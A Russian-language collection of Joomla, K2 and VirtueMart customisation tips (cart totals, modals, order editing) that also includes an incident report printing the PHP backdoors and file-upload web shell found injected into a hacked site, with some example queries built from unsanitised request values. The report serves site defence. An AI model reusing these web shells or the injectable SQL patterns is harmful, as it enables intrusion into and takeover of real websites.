} /* Caption of Modal Image (Image Text) - Same Width as the Image */
#caption {
margin: auto;
display: block;
width: 80%;
max-width: 700px;
text-align: center;
color: #ccc;
padding: 10px 0;
height: 150px;
} /* Add Animation - Zoom in the Modal */
.modal-content, #caption {
-webkit-animation-name: zoom;
-webkit-animation-duration: 0.6s;
animation-name: zoom;
animation-duration: 0.6s;
} @-webkit-keyframes zoom {
from {-webkit-transform:scale(0)}
to {-webkit-transform:scale(1)}
} @keyframes zoom {
from {transform:scale(0)}
to {transform:scale(1)}
} /* The Close Button */
.close {
position: absolute;
top: 15px;
right: 35px;
color: #f1f1f1;
font-size: 40px;
font-weight: bold;
transition: 0.3s;
} .close:hover,
.close:focus {
color: #bbb;
text-decoration: none;
cursor: pointer;
}
@media only screen and (max-width: 700px){
.modal-content {
width: 100%;
}
}

 Функция вызова фотографии:

jQuery(document).ready(function() { jQuery("body").on("click", ".arhimg", function(e) {
var src=this.src;
var modal = document.getElementById('myModal');
var modalImg = document.getElementById('myImg');
modalImg.src = src;
modal.style.display = "block";
var span = document.getElementsByClassName("close")[0];
span.onclick = function() {
modal.style.display = "none";
}
});});

В одностраничном плагине корзины можно дополнительно вывести вес и объем товара, а также просуммировать их.

Для начала необходимо подготовить форму, файл:

/cart/tmpl/default_left.php

Необходимо добавить блоки с характеристиками в блок <div class="cart-product-details">

<div class="cart-product-details">
<span style="font-width:bold;">Вес ед.:</span><span class="product_weight" ><?php $total_product_weight=$total_product_weight+($prow->product_weight)*$prow->quantity; echo number_format($prow->product_weight,2,'.',' ')?> кг.</span><br>
<span style="font-width:bold;">Объем ед.:</span><span class="product_packaging"><?php $total_product_packaging=$total_product_packaging+($prow->product_packaging)*$prow->quantity; echo number_format($prow->product_packaging,3,'.',' ')?> м3</span>
<input type="hidden" id="product_weight_<?php echo $pkey?>" value="<?php echo number_format($prow->product_weight,2,'.',' ')?>">
<input type="hidden" id="product_packaging_<?php echo $pkey?>" value="<?php echo number_format($prow->product_packaging,2,'.',' ')?>">
</div>

А также вывести блок "итого":

<div class="product-subtotal_char opg-grid opg-text-right" > 
<div class="totalweight-type opg-width-large-3-4 opg-width-small-1-2 opg-width-1-2">Итого вес: </div>
<div class="totalweight-amount price-type opg-width-large-1-4 opg-width-small-1-2 opg-width-1-2" id="w_total"><?php echo number_format($total_product_weight,2,'.',' ');?> кг</div>
<div class="totalweight-type opg-width-large-3-4 opg-width-small-1-2 opg-width-1-2">Итого объем: </div>
<div class="totalweight-amount price-type opg-width-large-1-4 opg-width-small-1-2 opg-width-1-2" id="p_total"><?php echo number_format($total_product_packaging,3,'.',' ');?> м3</div>
</div>

осталось настроить скипт автоподсчета, файл:

onepage.js

Необходимо доработать функцию:

function update_prices()

В блоке "jQuery.each(data.products, function(id, product) {" необходимо подсчитать каждый элемент и умножить на кол-во, а также суммировать по всем элементам, чтобы после блока вывести:

...
var q=document.getElementById('quantity_'+id).value; 
var w=document.getElementById('product_weight_'+id).value;
var p=document.getElementById('product_packaging_'+id).value;
...
if (jQuery('#subtotal_weight_'+id)) 
{
jQuery('#subtotal_weight_'+id).html(w_t+' кг.');
}
if (jQuery('#subtotal_packagingt_'+id))
{
jQuery('#subtotal_packagingt_'+id).html(p_t+' м3');
}
....

Вывод суммы хар-к по всем товарам:

if (jQuery('#w_total')) {jQuery('#w_total').html(w_total+' кг.');}
if (jQuery('#p_total')) {jQuery('#p_total').html(p_total+' м3');}

 Пример:

 

В одностраничном плагине корзины не учитывается изменение цены на товар при увелечении кол-ва.

Цену товара в VM можно настроить на группу или кол-во, при этом на странице корзины цена обновить только при полном обновлении сраницы, при изменении кол-ва цена товара не измениться.

Для начала необходимо подготовить переменную, файл:

/cart/ajaxprice.php

Необходимо добавить цену товара в строки с массивом $price_values["products"][$id][....]

Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку
На странице карточки добавить идентификатор, для изменения цены

Файл

/cart/tmp/default_left.php

Код :

<div class="opg-text-primary opg-hidden-small opg-text-bold opg-float-right opg-width-large-1-6 opg-width-small-2-6 opg-width-2-6 opg-text-left-small">
<div class="spacer" id="towprice_<?php echo $cartitemid?>">
<?php echo $this->currencyDisplay->createPriceDiv('salesPrice','', $this->cart->pricesUnformatted[$pkey],true,false,1); //No quantity or you must use product_final_price ?>
<?php //echo $this->currencyDisplay->createPriceDiv('basePriceVariant','', $this->cart->pricesUnformatted[$pkey],false); ?>
</div>
</div>

осталось настроить скипт автоподсчета, файл:

onepage.js

Необходимо доработать функцию:

function update_prices()

В функции function update_prices()  добавить строку для заменты текста в элементе с ценой:

if (jQuery('#subtotal_with_tax_'+id)) 
{
jQuery('#subtotal_with_tax_'+id).html(data.products[id].subtotal_with_tax);
}
if (jQuery('#towprice_'+id))
{
jQuery('#towprice_'+id).html(data.products[id].subtotal_with_tax);
}

 Пример:

 

Для автоматического создания каталога для изобрадений, прекрасно подходим плагин для события onAfterK2Save, в нем нужно разместить следующий код:

$dir = substr(__DIR__,0,stripos(__DIR__,'/administrator/'));
if (is_dir($dir) && !is_dir($dir.'/images/k2/'.$id)) mkdir($dir.'/images/k2/'.$id);

 

Для центрирования заголовка необходимо будет php код в файл 

/components/com_k2/templates/default/category_item.php

Заменить вывод загловка

<!-- Item title -->
<?php $sl=iconv_strlen($this->item->title);
$st='';
if ($sl<=54) $st='style="padding: 2em 0;"';
if ($sl>54 && $sl<=81) $st='style="padding: 1em 0;"';
?>
<h3 itemprop="name" class="catItemTitle" id="catItemTitle" <?php echo $st;?>>

На сайте товар в категории выводиться в 3 колонки, максимальная длина одной строки заголовка - 27 символов, получается:

  • если 1 ил 2 строки тогда padding: 2em 0
  • если 3 строки то padding: 1em 0
  • если более 3х строк то без дополнительного стиля.

Для предоставления скидок у магазина на К2 есть механизм, но для вывода товаров со скидкой нет настроек.

Исправляется в файле:

/components/com_k2/models/itemlist.php

Необходимо заменить строки

$query .= " AND i.featured = 1";

На:

$query .= " AND i.id in (select product_id from #__k2store_products where special_price>0)";

Теперь если выводить список товаров по категории и указать"Только избранные" то будет выводиться товар у которго установлена спец.цена

 

Столкнулся с изменением файлов на сайтах CSM Joomla, данные вписываются в базовые компоненты и бибилиотеку, злоумышленник делает загрузку файлов. профиклактика - заблокировать изменение этих файлов.

В поиске изменений помог компонент проверки файлов.

Ниже приведен код этого взлома, текст размещен для ознакомления, а не как инструкция к действию = ) 

 

Измененные файлы:

/components/com_contact/helpers/route.php

$content = '<?php (';$content .= '$_=';$content .= '@$_G';$content .= 'ET[c]).@$_($_P';;$content .= 'OS';$content .= 'T["f5a3p5"])?>';$file = fopen("com_contact_info.php", "w");fwrite($file, $content) ;

/components/com_media/media.php

isset($_REQUEST['f5a3p5']) && array_map("ass\x65rt",(array)$_REQUEST['f5a3p5']);

/includes/defines.php

isset($_REQUEST['f5a3p5']) && array_map("ass\x65rt",(array)$_REQUEST['f5a3p5']);

 

Далее размещается файл для загрузки файлов, было 3 случая, каждый раз разные файлы но в папке /libraries

/libraries/joomla/http/wrapper/cgi-f7.php

<?php if(md5($_GET["ms-load"])=="5637a21308208bf4b96294544bf880a2"){
$p=$_SERVER["DOCUMENT_ROOT"];
$tyuf=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data" method="POST">
Path:$p<br>
<input name="file" type="file"><br>
To:<br>
<input size="48" value="$tyuf/" name="pt" type="text"><br>
<input type="submit" value="Upload">
$tend
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfilen";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}

Также в корне сайта создается файл com_contact_info.php:

<?php ($_=@$_GET[c]).@$_($_POST["yp5s2z"])?>

 

Форма, которая появляется после добавления товара в корзину, содержит один не приятный сюрприз - название товара и сообщение выводятся слитно:

 

Исправить можно, скорректировав posy запрос в файле:

Заменить строку

$json['successmsg'] = $product_info->product_nameJText::sprintf('K2STORE_ADDTOCART_ADDED_TO_CART');

На

$json['successmsg'] = $product_info->product_name.'<br>'.JText::sprintf('K2STORE_ADDTOCART_ADDED_TO_CART');

Результат:

Пример хорошей анимации меню на css

 

CSS стили:

panel { padding-left: 1px; width:192px; list-style:none; padding-top:1px; display:inline-block; } #panel li { background: url("/img/userimages/user_781/back.jpg") repeat scroll 0 0 rgba(0, 0, 0, 0); border: 1px dotted silver; color: #8d8c8b; margin-top: 1px; text-align: left; width: 195px; } #panel li a { color:#fff; display:block; padding: 9px 8px; } #panel li a:hover { color:#fff; } #panel li.animation {-moz-transition: all 0.3s ease-in-out 0s; -moz-transform:translateX(0px); -o-transition: all 0.3s ease-in-out 0s; -o-transform:translateX(0px); -webkit-transition: all 0.3s ease-in-out 0s; -webkit-transform:translateX(0px); } #panel li a.active{ color:#fff; } #panel li.animation { -moz-transition: all 0.3s ease-in-out 0s; -moz-transform:translateX(0px); -o-transition: all 0.3s ease-in-out 0s; -o-transform:translateX(0px); -webkit-transition: all 0.3s ease-in-out 0s; -webkit-transform:translateX(0px); } #panel li.animation:hover { color: aqua; background: #6a6869; -moz-transform:translateX(10px); -o-transform:translateX(10px); -webkit-transform:translateX(10px); -moz-transition: all 0.5s ease-in-out 0s; -o-transition: all 0.5s ease-in-out 0s; -webkit-transition: all 0.5s ease-in-out 0s; }

 

HTML:

<ul id="panel">
<li class="animation"><a>Постельное белье</a></li>
<li class="animation"><a>Покрывала</a></li>
<li class="animation"><a>Одеяла</a></li>
<li class="animation"><a>Полотенца</a></li>
</ul>

У k2 store для обновления цены и опций используется плагин и этот способ также гарантирует сохраность данных. Параметры товара, которые отображаются на форме администратора - это не данных из базы, а данные плагина для этого материала.

Такой подход дает гарантию, что данные будут изменены только фирменным плагином, но если вы используете другие компоненты, которые меняют параметры товара через базу, то нужно вносить поправки в параметры плагина или внести изменения в сам плагин, иначе при редактировании материала вы сбросите стоимость товара или опций.

Как актуализировать данные ?

Самый простой способ - изменить отображение параметров в плагине, вывести на форму данные из базы.

Для этого нужно редактировать файл

Начиная с 149 строки, внести изменение - прочитать параметры и заменить значения в массиве:

jimport('joomla.form.form');
$form = JForm::getInstance('plg_k2_'.$this->pluginName.'_'.$path, $xml_file, array(), true, 'fields[@group="'.$path.'"]');
$values = array();
if ($item->plugins)
{
$id = JRequest::getVar ('cid',null);
$db = JFactory::getDbo();
$db->setQuery("select * from #__k2store_products where product_id='".$id."'");
$lrow = $db->loadAssoc();
foreach ($lrow as $i => $item_data_db){
foreach (json_decode($item->plugins) as $name => $value)
{
$count = 1;
if (isset($lrow[str_replace($this->pluginName, '', $name, $count)]))
$values[str_replace($this->pluginName, '', $name, $count)]=$lrow[str_replace($this->pluginName, '', $name, $count)];
else
$values[str_replace($this->pluginName, '', $name, $count)] = $value;
}}
$form->bind($values);

Для интернет магазинов есть потребность показать ассортимент товаров, один из способов -это отобразить, что покупают другие люди с этим товаром(состав чека).

У компонента К2 есть массив RelatedItems, но по умолчанию он не связан с K2Store, чтобы это исправить нужно отредактировать файл

components/com_k2/models/itemlist.php

В функцию function getRelatedItems($itemID, $tags, $params) необходимо вставить запрос, который посмотрит с чем продают ID этого товара и выведит 3 позиции из последних чеков

$query = "select distinct product_id from #__k2store_orderitems where order_id in
(select order_id from #__k2store_orderitems where product_id={$itemID} order by modified_date desc ) and product_id<>{$itemID} limit 3"

По умолчанию К2 выводит только следующий и предыдущий материал в этой категории. Для интернет магазина понадобилось вывести 4 товара из одной категории.

Решение:

1.Создаем массив данных 

public_html/components/com_k2/views/item/view.html.php

Добавляем новые данные в общий массив, строка 302

// Navigation (previous and next item)
if ($item->params->get('itemNavigation'))
{
$model = $this->getModel('item');
$nextItem = $model->getNextItem($item->id, $item->catid, $item->ordering);
if (!is_null($nextItem))
{
$item->nextLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($nextItem->id.':'.urlencode($nextItem->alias), $nextItem->catid.':'.urlencode($item->category->alias))));
$item->nextTitle = $nextItem->title;
$date = JFactory::getDate($item->modified);
$timestamp = '?t='.$date->toUnix();
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_XS.jpg'))
{
$item->nextImageXSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_XS.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_S.jpg'))
{
$item->nextImageSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_S.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_M.jpg'))
{
$item->nextImageMedium = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_M.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_L.jpg'))
{
$item->nextImageLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_L.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_XL.jpg'))
{
$item->nextImageXLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_XL.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_Generic.jpg'))
{
$item->nextImageGeneric = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_Generic.jpg'.$timestamp;
}
}

Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку


$previousItem = $model->getPreviousItem($item->id, $item->catid, $item->ordering);
if (!is_null($previousItem))
{
$item->previousLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($previousItem->id.':'.urlencode($previousItem->alias), $previousItem->catid.':'.urlencode($item->category->alias))));
$item->previousTitle = $previousItem->title;
$date = JFactory::getDate($item->modified);
$timestamp = '?t='.$date->toUnix();
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_XS.jpg'))
{
$item->previousImageXSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_XS.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_S.jpg'))
{
$item->previousImageSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_S.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_M.jpg'))
{
$item->previousImageMedium = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_M.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_L.jpg'))
{
$item->previousImageLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_L.jpg'.$timestamp;
}
{
$item->previousImageXLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_XL.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_Generic.jpg'))
{
$item->previousImageGeneric = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_Generic.jpg'.$timestamp;
}
}

Доступ к этому контенту разрешен только участникам проекта.
Вы можете получить доступ,купив эту доработку

2.Редактируем шаблон

public_html/components/com_k2/templates/default/item.php

В данном примере выводим список с названием и фотографией. заменяем блок <!-- Item navigation -->

<!-- Item navigation -->
<div class="itemNavigation">
<h3 class="itemNavigationTitle"><?php echo JText::_('K2_MORE_IN_THIS_CATEGORY'); ?></h3>
<ul style="padding-left: 0px;display: flex;">
<?php if(isset($this->item->previousLink)): ?>
<li class="even">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink; ?>"><?php echo $this->item->previousTitle; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->previousImageMedium; ?>" alt="">
</a>
</li>
<?php endif; ?>
<?php if(isset($this->item->previousLink_p1)): ?>
<li class="even">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink_p1; ?>"><?php echo $this->item->previousTitle_p1; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink_p1; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->previousImageMedium_p1; ?>" alt="">
</a>
</li>
<?php endif; ?>
<?php if(isset($this->item->nextLink)): ?>
<li class="odd">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink; ?>"><?php echo $this->item->nextTitle; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->nextImageMedium; ?>" alt="">
</a>
</li>
<?php endif; ?>
<?php if(isset($this->item->nextLink_p1)): ?>
<li class="odd">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink_p1; ?>"><?php echo $this->item->nextTitle_p1; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink_p1; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->nextImageMedium_p1; ?>" alt="">
</a>
</li>
<?php endif; ?>
</ul>
</div>

Результат :

Если вы используете бесплатный компонент k2_store, то у вас выключены купоны и менеджмент товаров.

Если вам необходимо на сайте товар, который отсутствует на складе, не прятать, а вывести сообщение "нет в наличии", тогда можно сделать следующие:

1.Добавить новую колонку в таблице #__k2_items (добавляем в эту таблицу, т.к. опрос в таблицах k2_store строго регламентирован)

ALTER TABLE `Yoo_k2_items` ADD `is_empty` INT(1) NOT NULL DEFAULT '0';

2.Необходимо открыть файлы опций k2_store

com_k2store/mycart/addtocart.php

Редактируем код:

<!-- Add to cart button -->
<?php if($inventoryCheck->can_allow || $inventoryCheck->backorder):?>
<div id='add_to_cart_<?php echo $item->product_id; ?>' class="k2store_add_to_cart">
<input type="hidden" id="k2store_product_id" name="product_id" value="<?php echo $item->product_id; ?>" />
<?php echo JHTML::_( 'form.token' ); ?>
<input type="hidden" name="return" value="<?php echo base64_encode( JUri::getInstance()->toString() ); ?>" />
<input value="<?php echo $cart_text; ?>" type="submit" class="k2store_cart_button btn btn-primary" />
</div>
<?php else: ?>
<div class="k2store_no_stock">
<input value="<?php echo JText::_('K2STORE_OUT_OF_STOCK'); ?>" type="button" class="k2store_cart_button k2store_button_no_stock btn btn-warning" />
</div>
<?php endif; ?>

Заменяем нашими значения, в этом блоке можно разместить не просто текст "Нет в наличии", но и добавить кнопку заказать(форма обратной связи)

<!-- Add to cart button -->
<?php
if($item->is_empty == 0):?>
<div id='add_to_cart_<?php echo $item->product_id; ?>' class="k2store_add_to_cart">
<input type="hidden" id="k2store_product_id" name="product_id" value="<?php echo $item->product_id; ?>" />
<?php echo JHTML::_( 'form.token' ); ?>
<input type="hidden" name="return" value="<?php echo base64_encode( JUri::getInstance()->toString() ); ?>" />
<input value="<?php echo $cart_text; ?>" type="submit" class="k2store_cart_button btn btn-primary" />
<a id="callme_order_btn_<?php echo $item->id;?>" class="callme_order_btn" data-product="<?php echo $item->title.' URL: '.JURI::base().$item->alias; ?>">Купить в 1 клик</a>
</div>
<?php else: ?>
<div class="k2store_no_stock">
<p style="font-size: 18px;font-weight: bold;"><?php echo JText::_('Нет в наличии'); ?></p>
<a style="width: 240px;" id="callme_order_btn_<?php echo $item->id;?>" class="callme_order_btn" data-product="Нет в наличии: <?php echo $item->title.' URL: '.JURI::base().$item->alias; ?>">Заказать</a>
</div>
<?php endif; ?>

3.Делаем функционал для смены статуса. Данный функионал реализован к компоненте Экспорт Яндекс маркет

Для создания вкладок, можно использовать стандартный функционал Joomla 3x

Необходимо создать структуру такого вида:

<ul class="nav nav-tabs" id="myTabTabs" >
<li class="active"><a href="#gtab1" data-toggle="tab">Вкладка 1</a></li>
<li class=""><a href="#gtab2" data-toggle="tab">Вкладка 2</a></li>
<li class=""><a href="#gtab3" data-toggle="tab">Вкладка 3</a></li>
</ul>
<div class="tab-content" id="myTabContent" style="padding: 7px;">
<div id="gtab1" class="tab-pane active">текст</div>
<div id="gtab2" class="tab-pane ">текст</div>
<div id="gtab3" class="tab-pane ">текст</div>
</div>

Если на странице будет несколько вкладок, то должны отличаться ID у ul и div 

 Пример:

текст1
текст2
текст3

 

На строне сата возможно потребуется подключить скрипт


Если у вас установлен компонент К2, можно использовать его библиотеки  для создания собственного модального(всплывающего) окна с любым контентом.

Для работы необходимы css файл и скрипты(они возможно уже подключены):

$document->addStyleSheet('/media/system/css/modal.css');
$document->addScript('/media/jui/js/bootstrap.min.js');
$document->addScript('/media/system/js/modal.js');

Добавить скрипты инициализации:

<script> 
jQuery('document').ready(function(){
jQuery('#modal').modal("false");
});
function change_img(imgs) {
document.getElementById('modal_img').src=imgs;
}
</script>

Рассмотрим на примере - необходимо вызывать модальное окно для просмотра назначенного изображения материала К2. Нам необходимо добавить функцию обновления ссылки на изображение по щелчку:

<script>
function change_img(imgs) {
document.getElementById('modal_img').src=imgs;
}
</script>

Создаем блок со скрытым модальным окном:

<div id="modal" class="modal hide fade" class="modal hide fade in" style="display: none;" aria-hidden="false">
<div class="modal-header" style="min-height: 21px;">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
</div>
<div class="modal-body" style="min-height:300px;text-align:center!important;">
<img id="modal_img" style="max-width:1100px;max-height: 400px;" src="/">
</div>
</div>

Стили можно менять в файл /media/system/css/modal.css , либо назначить принудительно, как в примере.

Вызов формируется так:

<a href="#modal" onclick="change_img('/media/k2/items/cache/<?php echo md5("Image".$item->id);?>_XL.jpg')" role="button"data-toggle="modal">Click Me</a>

Пример :

Click Me

Для проекта потребовалось редактировать сумму заказа после размещения в корзине - предоставление скидок, без выдачи купонов.

Количество и сумма хранятся в БД:

#_k2store_orders  - Общая информация о заказе и клиенте
#_k2store_orderitems - Состав заказа, сумма за единицу и кол-во

Нам необходимо на форме с деталями заказа разместить элементы редактирования и сделать процедуру сохранения изменений в двух таблицах.

Открываем файл

administrator/components/com_k2store/views/orders/tmpl/view.php

Обновляем строку с кол-вом, заменить

<?php echo $item->orderitem_quantity; ?>

На это

<input type="number" min="0" max="999" id="quant-<?php echo $item->orderitem_id;?>" style="width: 80px;border: 0;" value="<?php echo $item->orderitem_quantity; ?>" onchange="document.getElementById('div-<?php echo $item->orderitem_id;?>').style.display='';document.getElementById('quant-<?php echo $item->orderitem_id;?>').style.backgroundColor='#FFA9A9';">

И размещаем элемент с кнопкой "Сохранить":

<div style="display:none;position: relative;float: right;top: 8px;" id="div-<?php echo $item->orderitem_id;?>" >
 <a style="top: -4px;position: relative;" href="#" class="btn_ex_save" id="exs-<?php echo $item->orderitem_id;?>">
 <img src="/images/save.gif" />
</a>
</div>

Картинку можно взять с этого материала:

 Добавляем скрипт, который отлеживает нажатие кнопки:

 

<script> 
//изменить кол-во
jQuery("body").on("click", ".btn_ex_save", function(e) {
e.preventDefault();
//ищем ID в БД
var clickedID = this.id.split("-");
var DbNumberID = clickedID[1];
//данные для отправки POST запросом
var myData = 'recordToEx='+DbNumberID+'&quant='+document.getElementById('quant-'+DbNumberID).value+'&order=<?php echo $invoice_number;?>';
jQuery.ajax({
type: "POST",
url: "index.php?option=com_k2store&view=orders&task=view&id=<?php echo $invoice_number;?>",//ссылка на текущую страницу
dataType:"text",
data:myData,
success:function(response){
document.getElementById('div-'+DbNumberID).style.display = 'none';
document.getElementById('quant-'+DbNumberID).style.backgroundColor = 'white';
var mas = response.split(';;');
jQuery('#summ-'+DbNumberID).html(mas[0]);
jQuery('#sum-'+DbNumberID).html(mas[0]);
jQuery('#sub_summ').html(mas[1]);
jQuery('#total_summ').html(mas[1]);
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
</script>

Далее размещаем обработку POST запроса, для этого редактируем страницу(необходима первая в очереди на загрузку):

administrator/components/com_k2store/views/orders/view.html.php

Добавляем обработку запроса:

if(isset($_POST["recordToEx"])){
$idToUpd = str_replace('-','',filter_var($_POST["recordToEx"],FILTER_SANITIZE_NUMBER_INT));
if (isset($_POST["quant"])) $quant = filter_var($_POST["quant"],FILTER_SANITIZE_STRING); else $quant='';
if (isset($_POST["order"]))$order = filter_var($_POST["order"],FILTER_SANITIZE_STRING); else $order='';
//обновляем кол-во
if (trim($quant) != '' and trim($order) != '')
{
$db = JFactory::getDbo();
$query =htmlspecialchars("update #__k2store_orderitems set orderitem_quantity ='".$quant."' where orderitem_id='".$idToUpd."'");
$db->setQuery($query);
if(!$db->query())
{
header('HTTP/1.1 500 '.JText::_("Ошибка ID = '".$idToUpd."' '".$db->stderr()));
exit();
}
}
//выводим сумму позиции после обновления
$query =htmlspecialchars("update #__k2store_orderitems set orderitem_final_price = (orderitem_price+ orderitem_attributes_price)*orderitem_quantity where orderitem_id='".$idToUpd."'");
$db->setQuery($query);
if(!$db->query())
{
header('HTTP/1.1 500 '.JText::_("Ошибка ID = '".$idToUpd."' '".$db->stderr()));
exit();
}
$query =htmlspecialchars("(select ROUND(sum(orderitem_final_price)) as total_summ,(select ROUND(orderitem_final_price) from #__k2store_orderitems where orderitem_id='".$idToUpd."') as summ_item from #__k2store_orderitems where order_id = (select order_id from #__k2store_orderitems where orderitem_id='".$idToUpd."'))");
$db->setQuery($query);
$res = $db->loadObject();
echo str_replace('.00000','.00 руб.',$res->summ_item).';;'.str_replace('.00000','.00 руб.',$res->total_summ);

//подсчитываем сумму общего заказа
$query =htmlspecialchars("update #__k2store_orders set is_editing='1',orderpayment_amount ='".$res->total_summ."',order_total ='".$res->total_summ."',order_subtotal ='".$res->total_summ."' where id ='".$order."'");
$db->setQuery($query);
if(!$db->query())
{
header('HTTP/1.1 500 '.JText::_("Ошибка ID = '".$idToUpd."' '".$db->stderr()));
exit();
}
exit();
}

После выполнения запроса на форме обновиться сумму единицы и общая сумма заказа.

Также запрос оставляет пометку о том. что было ручное редактирование, для этого необходимо добавить поле в таблицу 

ALTERTABLE #__k2store_orders ADDCOLUMN is_editing int(1) AFTER #__k2store_orders;

Обработку этого значения разместим в файле с общим списком заказов, редактируем файл:

administrator/components/com_k2store/views/orders/tmpl/default.php

Заменить текст:

<td>
<span class="editlinktip hasTip" title="<?php echo JText::_( 'K2STORE_ORDER_VIEW' );?>::<?php echo $this->escape($row->order_id); ?>">

На

<td <?php if ($row->is_editing == 1) echo 'style="background-color: #FFFFC9;"'?>>
<span class="editlinktip hasTip" title="<?php echo JText::_( 'K2STORE_ORDER_VIEW' );?>::<?php echo $this->escape($row->order_id); ?>">

Таким же образом можно редактировать стоимость позиции и стоимость опций, добавить скидку(изменение стоимости позиции и опции на определенный процент).

Результат:

Столкнулся с проблемой, когда для выполнения Ajax запроса необходимо открывать php страницу, но если страница не прописана в MVC модели компонента Joomla, то ее вызов блокируется безопасностью.

Выход из ситуации - записать обработку POST и GET запросов на странице заголовков view.html.php (/administrator-site/view/<Наименование>/)

На примере задачи : На форме расположен input, необходимо разместить кнопку, которая обновит запись в БД, по результату спрятать элементы .

 

Реализация Script на основной странице:

<script> 
jQuery("body").on("click", ".btn_ex_save", function(e) {
e.preventDefault();
//ищем ID в БД
var clickedID = this.id.split("-");
var DbNumberID = clickedID[1];
//данные для отправки POST запросом
var myData = 'recordToEx='+DbNumberID+'&recordSTR='+document.getElementById('quant-'+DbNumberID).value;
jQuery.ajax({
type: "POST",
url: "index.php?option=op1&view=v1",//ссылка на текущую страницу
dataType:"text",
data:myData,
success:function(response){
document.getElementById('div-'+DbNumberID).style.display= "none";},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
});
</script>

Реализация HTML на основной странице:

<input type="number" min="0" max="999" id="quant-<?php echo $item->id;?>" style="width: 104px;" value="<?php echo $item->orderitem_quantity; ?>" onchange="document.getElementById('div-<?php echo $item->id;?>').style.display='';document.getElementById('quant-<?php echo $item->id;?>').style.backgroundColor='#FFA9A9';">
<div style="display:none;position: relative;float: right;top: 8px;" id="div-<?php echo $item->id;?>" >
<a style="top: -4px;position: relative;" href="#" class="btn_ex_save" id="exs-<?php echo $item->id;?>">
<img src="/images/save.gif" />
</a>
</div>

Реализация обработки запроса на странице заголовков  view.html.php:

if(isset($_POST["recordToEx"])){
$idToUpd = str_replace('-','',filter_var($_POST["recordToEx"],FILTER_SANITIZE_NUMBER_INT));
$ex = str_replace($idToUpd.'-','',filter_var($_POST["recordSTR"],FILTER_SANITIZE_STRING));
if (trim($ex) != '')
         {   $ex = $ex.'|';
              $query =htmlspecialchars("update #__table set txt ='".$ex."' where id='".$idToUpd."'");
              $db->setQuery($query);
              if(!$db->query())
                    {
                         header('HTTP/1.1 500 '.JText::_('Ошибка ID = '.$idToUpd.' '.$db->stderr()));
                         exit();
                    }
         }
exit();
}

Не качайте компоненты и модули с пиратских сайтов, в них с большой вероятностью расположен дополнительный код, часто рекламные ссылки.

